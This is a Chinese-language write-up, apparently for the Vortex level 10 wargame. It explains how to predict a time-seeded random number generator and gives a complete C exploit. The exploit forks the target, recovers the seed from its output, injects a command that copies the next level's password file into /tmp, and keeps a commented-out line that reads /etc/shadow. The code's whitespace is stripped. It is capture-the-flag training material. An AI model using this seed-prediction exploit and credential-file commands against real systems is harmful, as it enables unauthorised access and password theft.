由于time(0)的值的大致范围是知道的，关键就是v12的值。这里v12>>31会得到0xffffffff或是0x0，接下来的>>24就会得到0xff或是0x0。于是最终范围在128-256=-128与128+256=384之间，可以穷举出来。
另一方面，我们要读他的数，并反馈。与vortex0类似，我还是不知道怎么用shell, fifo等完成。于是在c程序里fork，并用pipe和dup2等来进行父进程、子进程的数据传输。
但最后的问题是，得到shell之后如何与其交互？试了好几种方法都不行。最后在我的机子上可以再将命令从父程序通过pipe送到子程序，再输出结果。不过在ssh那里想要cat文件内容不成功，最后只好install把密码文件复制一份
#include <stdio.h>#include <string.h>#include <unistd.h>#include <time.h>#include <stdlib.h>intmain(intargc,char*argv[]){/* parent --(fd1)--> child * child --(fd2)--> parent */intfd1[2],fd2[2];pipe(fd1);pipe(fd2);pid_tpid=fork();if(pid==0){close(fd1[1]);dup2(fd1[0],0);close(fd2[0]);dup2(fd2[1],1);execl("./vortex10",NULL);}time_tnowT=time(0);close(fd1[0]);close(fd2[1]);charbuf[256];unsignedintinput[20];ssize_tnumRead=0;while(numRead<202){numRead+=read(fd2[0],buf+numRead,sizeofbuf);}fprintf(stderr,"%d bytes read\n",numRead);intmatch=sscanf(buf,"[ %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x,]",input+0,input+1,input+2,input+3,input+4,input+5,input+6,input+7,input+8,input+9,input+10,input+11,input+12,input+13,input+14,input+15,input+16,input+17,input+18,input+19);if(match!=20){fprintf(stderr,"read error\n");fprintf(stderr,"%s\n",buf);return1;}inti,j,k;time_tnow;for(k=0;k<4;++k){now=nowT-k;for(i=-128;i<384;++i){srand(now+i);for(j=0;j<i;++j)rand();for(j=0;j<20;++j){if(rand()!=input[j])break;}if(j==20){j+=now;fprintf(stderr,"hit, time is %d, i is %d\n",now,i);unsignedintans=now+i;write(fd1[1],&ans,4);char*cmd="install -m444 /etc/vortex_pass/vortex11 /tmp/nabla\n";//char *cmd = "cat /etc/shadow\n";write(fd1[1],cmd,strlen(cmd));numRead=read(fd2[0],buf,sizeof(buf));buf[numRead]=0;fprintf(stderr,"%s\n",buf);break;}}}fprintf(stderr,"end\n");//dup2(0, fd1[1]);//dup2(1, fd2[0]);intstatus;waitpid(pid,&status,0);return0;}